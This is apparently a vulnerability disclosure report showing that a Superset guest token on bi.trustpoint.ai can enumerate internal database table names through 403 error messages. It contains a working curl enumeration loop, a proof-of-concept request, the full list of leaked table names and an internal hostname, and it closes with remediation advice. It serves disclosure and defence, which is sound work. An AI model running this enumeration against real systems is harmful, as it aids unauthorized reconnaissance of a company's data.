Guest Token Leaks 100+ Internal Database Table Names, Security Audit Tables, and Database Architecture via Datasource Enumeration

Severity: Medium — CVSS 3.1: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N (6.5) **Class:** CWE-200 — Exposure of Sensitive Information to an Unauthorized Actor **Target:** `GET /datasource/get/table/<id>/` on `bi.trustpoint.ai` **Status:** Confirmed (105 datasources enumerated across 7 databases/schemas)

Summary

A Superset guest token — intended for read-only access to a single embedded dashboard — can enumerate **105 internal datasource table names** by iterating over sequential datasource IDs at `GET /datasource/get/table/<id>/`. The 403 error responses include a `datasource_name` field in the JSON body that leaks the fully-qualified `database.table_name` for every datasource in the Superset instance.

The leaked table names reveal: - **Internal security audit tables** tracking permission misconfigurations across customer companies - **7 distinct database schemas** including production, development, temporary, and individual developer schemas - **Financial data model** (loan tapes, investor snapshots, draw request funnels, retainage tracking) - **Internal product analytics** with timestamped query names showing analyst activity patterns - **Company role permission structures** and approval team configurations - **Third-party API integration details** (RentCast, service agencies)

Steps to Reproduce

Step 1 — Obtain guest token

Log in to `partner.trustpoint.ai` as any user. Navigate to the BI analytics page. Capture the guest token from the `X-Guesttoken` header in browser DevTools.

Step 2 — Enumerate datasource IDs

```
for ds_id in $(seq 1 302); do
  curl -s "https://bi.trustpoint.ai/datasource/get/table/$ds_id/" \
    -H "X-Guesttoken: <guest_token>" \
    -H "Cookie: session=<session_cookie>" 2>/dev/null | \
  python3 -c "
```

```
import sys,json
d = json.load(sys.stdin)
errs = d.get('errors',[])
if errs:
    name = errs[0].get('extra',{}).get('datasource_name','')
    if name: print(f'DS {$ds_id}: {name}')
"
done
```

Result: 105 datasource names returned in 403 error responses.

Proof of Concept

Request

```
GET /datasource/get/table/281/ HTTP/2
Host: bi.trustpoint.ai
X-Guesttoken: <guest_token>
Cookie: session=<session_cookie>
```

Response

```
HTTP/2 403
Content-Type: application/json

{
  "errors": [
    {
      "message": "This endpoint requires the datasource 281, database or `all_datasource_access`
      "error_type": "DATASOURCE_SECURITY_ACCESS_ERROR",
      "level": "warning",
      "extra": {
        "link": "",
        "datasource": 281,
        "datasource_name": "tp_source_bumblebee.misconfig_borrower_dangerous_permissions"
      }
    }
  ]
}
```

The response correctly denies data access (403) but **leaks the full table name** in the error body.

Enumerated Datasources (105 total)

Production Data Warehouse — `tp_dw_production` (22 tables)

DS ID	Table Name	Sensitivity
91	rpt_project	Project data
92	rpt_project_drawrequest	Draw request financials
93	rpt_project_time_series	Project time series
96	rpt_billing_charge	Billing/charges
98	rpt_project_member	Project membership
100	rpt_project_line_item	Line item financials
101	superset_last_update	Superset metadata
109	rpt_project_fee	Project fees
111	rpt_project_agg	Project aggregations
112	rpt_loan_tape	**Loan tape data**
113	rpt_project_document	Project documents
116	rpt_project_comment	Project comments
118	rpt_disburse_forecast	Disbursement forecasts
138	rpt_superset_action	Superset activity log
141	rpt_project_serviceorder	Service orders
142	rpt_onboarding_task	Onboarding tasks
144	rpt_project_checklistitem	Checklist items
149	rpt_project_score	**Risk scores**
219	dw_project	Core project table
237	rpt_company	**Company data**
258	rpt_sku_configuration	SKU configuration
298	rpt_investor_loan_snapshot	**Investor loan snapshots**

Internal Security Audit Tables — `tp_source_bumblebee` (8 tables)

DS ID	Table Name	What It Reveals
280	approval_team_members	Approval team membership
281	**misconfig_borrower_dangerous_permissions**	Which borrowers have dangerous permissions

DS ID	Table Name	What It Reveals
282	**misconfig_cs_access_outside_cs**	CS access violations
283	**misconfig_funding_missing_finalize**	Funding teams missing finalize permission
284	**funding_team_missing_approve**	Funding teams missing approve permission
285	**misconfig_approveteam_missing_approve**	Approval teams missing approve permission
286	**misconfig_sensitive_data_not_asset_manager**	Sensitive data access not restricted
287	**misconfig_finalize_outside_funding**	Finalize permission outside funding team

Development Database — `tp_dw_dev` (7 tables)

DS ID	Table Name	What It Reveals
215	stg_rent_cast_comparables	RentCast API staging data
216	stg_rent_cast_api_response	Third-party API responses
218	rpt_rent_cast_rent_response	RentCast integration
224	rpt_rent_cast_rent_response_v	RentCast view
255	rpt_fema_incident	FEMA incident data
260	**company_role_permissions**	Company permission matrix
267	**Company level roles**	Role structure

Developer Personal Schema — `dev_yufeng` (1 table)

DS ID	Table Name	What It Reveals
211	adhoc_line_item_draw_request	Developer Yufeng's personal schema

Temporary Tables — `tmp_tp_source_bumblebee` (3 tables)

DS ID	Table Name
222	serviceorders_serviceagencyproduct
251	serviceorder_serviceorder
252	comments_comment

Third-Party Data — `tp_source_thirdparty` (1 table)

DS ID	Table Name
156	superset_score_factor

Metadata — `tp_metadata` (1 table)

DS ID	Table Name
163	adhoc_loan_dscr

Production Financial Analytics — `tp_dw_production` (additional)

DS ID	Table Name	What It Reveals
231	Join project dw_project to rpt_project_member	Data relationships
232	Data Integrity Report - Detail	Internal data quality
233	Data Integrity Report - Summary	Internal data quality
236	Loan condition milestones	Loan tracking
245	Borrowers and teams w extracted company	Borrower relationships
247	All teams all members	Complete team membership
259	Borrower corrections data	Data correction history
278	rpt_tpg_loan_stratification1	Loan stratification
299	draw_activity_watchlist	Draw monitoring
300	program_sponsor_analytics	Sponsor analytics
302	tpg_loan_purchases_payoffs_monthly	Monthly loan activity

Additional Internal Analytics — `tp_source_bumblebee` (62 tables)

Includes product analytics, feature adoption tracking, AI document parsing usage, draw request funnels, retainage tracking, company integrations, service order data, and timestamped internal analyst queries.

Additional Findings

Database Connection Name Leaked

The `external_metadata_by_name` endpoint (accessible to guest tokens via `can_external_metadata_by_name` permission) reveals the Superset database connection name:

```
curl -s 'https://bi.trustpoint.ai/datasource/external_metadata_by_name/?q=(datasource_type:table
  -H "X-Guesttoken: <guest_token>"
```

Result: `500 Internal Server Error` (not 404 "Dataset does not exist") — confirms the Superset database connection is named **"Trustpoint DW"**. The 500 error itself is a bug

(`'Datasource' object has no attribute 'response_400'`) that leaks internal implementation details.

Internal Hostname in JWT

All guest tokens contain `"aud": "http://superion-app:8088/"` revealing the internal service hostname.

Impact

1. Security Misconfiguration Intelligence (High)

An attacker learns exactly which **internal security audit tables** exist, revealing: - That Trustpoint tracks permission misconfigurations per company - The specific misconfiguration categories being monitored (borrower dangerous permissions, CS access outside scope, funding team authorization gaps, sensitive data access controls) - An attacker targeting a specific customer can infer which permission gaps to look for

2. Database Architecture Exposure (Medium)

7 database schemas exposed: production (`tp_dw_production`), internal analytics (`tp_source_bumblebee`), third-party integrations (`tp_source_thirdparty`), metadata (`tp_metadata`), development (`tp_dw_dev`), temporary (`tmp_tp_source_bumblebee`), and a developer's personal schema (`dev_yufeng`)

3. Financial Data Model Mapping (Medium)

Complete visibility into how Trustpoint models financial data: loan tapes, investor snapshots, draw request funnels, disbursement forecasts, retainage tracking, loan stratification, and program sponsor analytics. This enables targeted attacks against financial endpoints.

4. Third-Party Integration Discovery (Low)

RentCast API integration and service agency product tables reveal vendor relationships and data flows.

5. Internal Analyst Activity Patterns (Low)

Timestamped query names (e.g., "Query tp_source_bumblebee.company_integrations 02/19/2026 16:48:38") reveal when internal analysts run ad-hoc queries and what they investigate.

Remediation

1. **Strip `datasource_name` from 403 error responses** — return only the generic "access denied" message without the `extra` block containing the table name
2. **Remove `can_get` on Datasource and `can_external_metadata_by_name` on Datasource from the EMBEDDED DASHBOARD ACCESS role** — guest users should not be able to probe datasource metadata
3. **Fix the `response_400` AttributeError** in the `external_metadata_by_name` endpoint — the Datasource view class is missing this method, causing unhandled 500 errors
4. **Rate-limit or block sequential ID enumeration** on the `/datasource/get/table/<id>/` endpoint

---

References

- CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
- CWE-209: Generation of Error Message Containing Sensitive Information
- OWASP API3:2023 — Broken Object Property Level Authorization